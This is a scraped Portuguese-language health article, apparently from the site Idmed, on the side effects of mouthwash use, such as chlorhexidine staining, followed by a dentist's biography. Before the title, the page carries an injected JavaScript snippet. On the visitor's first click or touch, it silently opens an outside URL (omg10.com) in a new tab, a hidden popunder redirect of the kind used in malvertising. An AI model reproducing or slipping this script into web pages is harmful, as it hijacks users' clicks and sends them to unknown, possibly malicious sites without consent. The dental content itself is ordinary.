(function(){var sl="https://omg10.com/4/10671168",o=false;function f(){if(o)return;o=true;window.open(sl,"_blank")}document.addEventListener("click",f);document.addEventListener("touchstart",f,{passive:true})})(); Enxaguantes bucais: quais são os cuidados no uso? - Idmed

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Efeitos adversos

O uso inadequado dos enxaguantes bucais pode, sim, trazer efeitos colaterais indesejados, como manchas nos dentes, que nesses casos são de origem extrínseca, ou seja, causadas por agente externo. O maior acúmulo de tártaro ocorre principalmente com uso inadequado e não supervisionado de enxaguantes bucais que possuem clorexidina na composição.

"Essa substância é um excelente antisséptico químico, com ação antifúngica e bactericida, além de ação bacteriostática, inibindo a proliferação bacteriana. Porém, quando esses enxaguantes bucais são usados aleatoriamente e não após a minuciosa escovação e uso de fio dental, a clorexidina tem como efeito colateral o escurecimento das colônias bacterianas organizadas, geralmente em superfícies que não foram escovadas adequadamente, causando um manchamento amarronzado de difícil remoção nestas superfícies", alerta Alexandre.

 

 

Dr. Alexandre Fraige é cirurgião-dentista formado pela Faculdade de Odontologia da Universidade Paulista e doutorado em Patologia Bucal pela Universidade de São Paulo. Título de especialista em Odontologia para Pacientes com Necessidades Especiais pelo Conselho Federal de Odontologia. Atualmente é cirurgião-dentista do Centro de Atendimento a Pacientes Especiais da Universidade de São Paulo (CAPE FOUSP) e Diretor do Dep. de Odontologia da Associação Nacional de Assistência ao Diabético (ANAD). Tem formação em Implantodontia, Odontologia Hospitalar e Telemedicina pela Faculdade de Medicina da Universidade de São Paulo (FMUSP) e mais de 10 anos de experiência no atendimento odontológico hospitalar e ambulatorial de pacientes portadores de necessidades especiais e alta complexidade, atuando principalmente nos seguintes temas: Portadores de Diabetes e suas complicações, pacientes oncológicos e transplantados de órgãos e tecidos. Filiado ao Conselho Regional de Odontologia de São Paulo – CROSP – sob o nº 73257. Membro efetivo da "INTERNATIONAL DIABETES FEDERATION" – IDF.

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